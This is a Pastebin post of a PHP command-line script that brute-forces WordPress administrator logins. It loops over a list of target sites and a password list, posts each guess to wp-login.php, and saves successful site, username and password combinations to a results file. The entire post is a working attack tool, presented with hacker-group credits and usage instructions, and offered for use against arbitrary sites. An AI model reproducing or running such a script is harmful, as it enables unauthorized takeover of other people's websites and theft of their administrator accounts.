dnsx3

Brute Force Wordpress Command Line By x3

Oct 22nd, 2013
1,376
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.49 KB | None | 0 0
  1. <?php
  2. print_r("\r\n\r\n
  3. ______            _          _    _               _
  4. | ___ \          | |        | |  | |             | |
  5. | |_/ /_ __ _   _| |_ ___   | |  | | ___  _ __ __| |_ __  _ __ ___  ___ ___
  6. | ___ \ '__| | | | __/ _ \  | |/\| |/ _ \| '__/ _` | '_ \| '__/ _ \/ __/ __|
  7. | |_/ / |  | |_| | ||  __/  \  /\  / (_) | | | (_| | |_) | | |  __/\__ \__ \
  8. \____/|_|   \__,_|\__\___|   \/  \/ \___/|_|  \__,_| .__/|_|  \___||___/___/
  9.  
  10. [+]-------------------------------------------[+]
  11. [+] Coder By : Lov3rDns                       [+]
  12. [+] Title    : Brute Force Wordpress By x3    [+]
  13. [+] Group    : x3                             [+]
  14. [+] Homepage : is-sec.com - Groupx3.org       [+]
  15. [+] 4U : Mr.Dm4r - xSecurity - Shark Hidden   [+]
  16. [+]-------------------------------------------[+]
  17. [*] Usage : php {$argv[0]} sites.txt admin pass.txt\r\n\r\n");
  18.  
  19. $sitel = $argv[1];
  20. $username = $argv[2];
  21. $passl = $argv[3];
  22.  
  23. $webs = explode("\n", file_get_contents($sitel));
  24. $pass = explode("\n", file_get_contents($passl));
  25.  
  26. print "############ START BRUTING ############\r\n";
  27. foreach($webs as $web)
  28. {
  29. $web = @trim($web);
  30. print "[+] Target -> {$web}\r\n[+] Trying Passwords..\r\n";
  31. foreach($pass as $password)
  32. {
  33. $password = @trim($password);
  34. $x3 = brute($web,$username,$password);
  35. if(eregi('upload.php', $x3))
  36. {
  37. print "[+] Site: {$web}\r\n[+] Username: {$username}\r\n[+] Password:  {$password}\r\n";
  38. $f = fopen('result.txt', 'a+');
  39. $source = "[+] Site: {$web}\r\n[+] Username: {$username}\r\n[+] Password: {$password}\r\n";
  40. fwrite($f,$source);
  41. }
  42. }
  43. }
  44. print "############      END      ############\r\n";
  45.  
  46. function brute($web,$username,$password)
  47. {
  48. $curl = curl_init();
  49. curl_setopt($curl,CURLOPT_RETURNTRANSFER,TRUE);
  50. curl_setopt($curl,CURLOPT_POST,TRUE);
  51. curl_setopt($curl,CURLOPT_FOLLOWLOCATION,TRUE);
  52. curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
  53. curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
  54. curl_setopt($curl,CURLOPT_URL,"{$web}/wp-login.php");
  55. curl_setopt($curl,CURLOPT_POSTFIELDS,"log={$username}&pwd={$password}&wp-submit=Log+In&redirect_to=./wp-admin/&testcookie=1");
  56. $brute = curl_exec($curl);
  57. return $brute;
  58. }
  59.  
  60. print_r("\r\n\r\n
  61. [+]-----------------------------------------------------------------[+]
  62.            Brute Force Wordpress Command Line By x3
  63.                       Coder By Lov3rDns
  64.                  www.lov3rphp.wordpress.com
  65.                             ./x3
  66. [+]-----------------------------------------------------------------[+]
  67. ");
  68. ?>
Advertisement
Add Comment
Please, Sign In to add comment